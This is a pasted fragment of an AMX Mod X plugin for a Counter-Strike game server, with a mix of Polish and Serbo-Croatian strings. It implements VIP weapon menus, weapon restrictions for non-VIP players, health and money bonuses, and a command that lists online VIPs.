- public PobierzDoswiadczenie(id)
- return doswiadczenie_gracza[id];
- public PobierzZdrowieMax(id)
- return maksymalne_zdrowie_gracza[id];
- /* --==[ VIP ] ==-- */
- public event_CurWeapon_Vip(id)
- {
- if(!is_user_connected(id))
- return PLUGIN_HANDLED;
- if (!get_pcvar_num(g_vip_active))
- return PLUGIN_CONTINUE
- if(read_data(2) == CSW_SG550)
- {
- if(!(get_user_flags(id) & ADMIN_LEVEL_H))
- {
- client_print(id, print_center, "AutoKampa 'SG550' samo za VIP-a!")
- client_cmd(id, "drop")
- }
- }
- else if(read_data(2) == CSW_G3SG1)
- {
- if(!(get_user_flags(id) & ADMIN_LEVEL_H))
- {
- client_print(id, print_center, "AutoKampa 'G3SG1' samo za VIP-a!")
- client_cmd(id, "drop")
- }
- }
- else if(read_data(2) == CSW_M249)
- {
- if(!(get_user_flags(id) & ADMIN_LEVEL_H))
- {
- client_print(id, print_center, "Bron 'M249 Para' samo za VIP-a")
- client_cmd(id, "drop")
- }
- }
- return PLUGIN_HANDLED
- }
- public on_damage(id)
- {
- new attacker = get_user_attacker(id)
- if ( is_user_connected(id) && is_user_connected(attacker) )
- if (get_user_flags(attacker) & ADMIN_LEVEL_H)
- {
- new damage = read_data(2)
- set_hudmessage(0, 100, 200, -1.0, 0.55, 2, 0.1, 4.0, 0.02, 0.02, -1)
- ShowSyncHudMsg(attacker, g_MsgSync, "%i^n", damage)
- }
- }
- public Damage2(id)
- {
- new weapon, hitpoint, attacker = get_user_attacker(id,weapon,hitpoint)
- if(attacker<=maxplayers && is_user_alive(attacker) && attacker!=id)
- if (is_user_connected(attacker) && get_user_flags(attacker) & ADMIN_LEVEL_H)
- {
- new money = read_data(2) * get_pcvar_num(mpd)
- if(hitpoint==1) money += get_pcvar_num(mhb)
- cs_set_user_money(attacker,cs_get_user_money(attacker) + money)
- }
- }
- public HandleCmd(id)
- {
- if(!get_pcvar_num(g_vip_active))
- {
- return PLUGIN_CONTINUE
- }
- if(get_user_flags(id) & ADMIN_LEVEL_H)
- {
- return PLUGIN_CONTINUE
- }
- client_print(id, print_center, "Neka Oruzja Su Samo Za VIP-a!")
- return PLUGIN_HANDLED
- }
- public Showrod(id)
- {
- show_menu(id, Keysrod, "\rVIP Menu^n\d1. \wWez \yM4A1+Deagle ^n\d2. \wWez \yAK47+Deagle^n^n\d0. Wyjscie^n", -1, "rod") // Display menu
- }
- public Pressedrod(id, key)
- {
- /* Menu:
- * VIP Menu
- * 1. Wez M4A1 + Deagle
- * 2. Wez AK47+Deagle
- * 0. Exit
- */
- switch(key)
- {
- case 0:
- {
- if(user_has_weapon(id, CSW_C4) && get_user_team(id) == 1)
- {
- HasC4[id] = true
- }
- else
- {
- HasC4[id] = false
- }
- strip_user_weapons (id)
- give_item(id,"weapon_m4a1")
- give_item(id,"ammo_556nato")
- give_item(id,"ammo_556nato")
- give_item(id,"ammo_556nato")
- give_item(id,"weapon_deagle")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"weapon_knife")
- if(get_user_flags(id) & ADMIN_RCON)
- {
- give_item(id, "weapon_hegrenade");
- give_item(id, "weapon_flashbang");
- give_item(id, "weapon_flashbang");
- give_item(id, "weapon_smokegrenade");
- client_print(id, print_center, "Primite M4A1, Deagle, HE, Smoke i 2x Flesh!")
- }
- else
- {
- give_item(id, "weapon_hegrenade");
- }
- give_item(id, "item_assaultsuit")
- give_item(id, "item_thighpack")
- client_print(id, print_center, "Uzeo si M4A1, Deagle i HE!")
- if (HasC4[id])
- {
- give_item(id, "weapon_c4");
- cs_set_user_plant( id );
- }
- }
- case 1:
- {
- if (user_has_weapon(id, CSW_C4) && get_user_team(id) == 1)
- {
- HasC4[id] = true
- }
- else
- {
- HasC4[id] = false
- }
- strip_user_weapons (id)
- give_item(id,"weapon_ak47")
- give_item(id,"ammo_762nato")
- give_item(id,"ammo_762nato")
- give_item(id,"ammo_762nato")
- give_item(id,"weapon_deagle")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"ammo_50ae")
- give_item(id,"weapon_knife")
- if(get_user_flags(id) & ADMIN_RCON)
- {
- give_item(id, "weapon_hegrenade")
- give_item(id, "weapon_flashbang")
- give_item(id, "weapon_flashbang")
- give_item(id, "weapon_smokegrenade")
- client_print(id, print_center, "Uzeo si AK47, Deagle, HE")
- }
- else
- {
- give_item(id, "weapon_hegrenade")
- client_print(id, print_center, "Primite AK47, Deagle i HE!")
- }
- give_item(id, "item_assaultsuit")
- give_item(id, "item_thighpack")
- if(HasC4[id])
- {
- give_item(id, "weapon_c4")
- cs_set_user_plant(id)
- }
- }
- case 9: {
- // 0
- client_print(id, print_center, "Primite Granate!")
- }
- }
- return PLUGIN_CONTINUE
- }
- public Round_Reset()
- {
- round = 0;
- }
- public hook_death()
- {
- // Killer id
- nKiller = read_data(1)
- if(!is_user_connected(nKiller))
- return;
- if ( (read_data(3) == 1) && (read_data(5) == 0) )
- {
- nHp_add = get_pcvar_num (health_hs_add)
- }
- else
- nHp_add = get_pcvar_num (health_add)
- nHp_max = get_pcvar_num (health_max)
- // Updating Killer HP
- if(!(get_user_flags(nKiller) & ADMIN_LEVEL_H))
- return;
- nKiller_hp = get_user_health(nKiller)
- nKiller_hp += nHp_add
- // Maximum HP check
- if (nKiller_hp > nHp_max) nKiller_hp = nHp_max
- set_user_health(nKiller, nKiller_hp)
- // Hud message "Healed +15/+30 hp"
- set_hudmessage(0, 255, 0, -1.0, 0.15, 0, 1.0, 1.0, 0.1, 0.1, -1)
- show_hudmessage(nKiller, "Healed +%d hp", nHp_add)
- // Screen fading
- message_begin(MSG_ONE, get_user_msgid("ScreenFade"), {0,0,0}, nKiller)
- write_short(1<<10)
- write_short(1<<10)
- write_short(0x0000)
- write_byte(0)
- write_byte(0)
- write_byte(200)
- write_byte(75)
- message_end()
- }
- public handle_say(id) {
- new said[192]
- read_args(said,192)
- if( ( containi(said, "who") != -1 && containi(said, "admin") != -1 ) || contain(said, "/vips") != -1 )
- set_task(0.1,"print_adminlist",id)
- return PLUGIN_CONTINUE
- }
- public print_adminlist(user)
- {
- new adminnames[33][32]
- new message[256]
- new contactinfo[256], contact[112]
- new id, count, x, len
- for(id = 1 ; id <= maxplayers ; id++)
- if(is_user_connected(id))
- if(get_user_flags(id) & ADMIN_LEVEL_H)
- get_user_name(id, adminnames[count++], 31)
- len = format(message, 255, "%s VIP'y ONLINE: ",COLOR)
- if(count > 0)
- {
- for(x = 0 ; x < count ; x++)
- {
- len += format(message[len], 255-len, "%s%s%s ", COLOR, adminnames[x], x < (count-1) ? "^x01, ":"")
- if(len > 96 ) {
- print_message(user, message)
- len = format(message, 255, "%s ",COLOR)
- }
- }
- print_message(user, message)
- }
- else {
- len += format(message[len], 255-len, "Brak Vip'ow Online")
- print_message(user, message)
- }
- get_cvar_string("amx_contactinfo", contact, 63)
- if(contact[0]) {
- format(contactinfo, 111, "%s Kontakt z Adminem -- %s", COLOR, contact)
- print_message(user, contactinfo)
- }
- return PLUGIN_HANDLED;
- }
- public print_message(id, msg[])
- {
- if(!is_user_connected(id))
- return;
- message_begin(MSG_ONE, gmsgSayText, {0,0,0}, id)
- write_byte(id)
- write_string(msg)
- message_end()
- }
- public ShowMotd(id)
- {
- show_motd(id, "vip.txt")
- }
- public forward_player_prethink( id )
- {
- if( bSilent[ id ] )
- {
- set_pev( id, pev_flTimeStepSound, 999 );
- }
- }
- public KomendaDajPrzedmiot(id, level, cid)
- {
- if(!cmd_access(id,level,cid,3))
- return PLUGIN_HANDLED;
- new arg1[33]
- new arg2[6]
- read_argv(1, arg1, 32)
- read_argv(2, arg2, 5)
- new gracz = cmd_target(id, arg1, 0)
- new przedmiot = str_to_num(arg2)-1
- if(przedmiot < 1 || przedmiot > sizeof nazwy_przedmiotow-1)
- {
- client_print(id, print_console, "Uneli ste pogresan broj predmeta.")
- return PLUGIN_HANDLED;
- }
- DajPrzedmiot(gracz, przedmiot);
- return PLUGIN_HANDLED;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement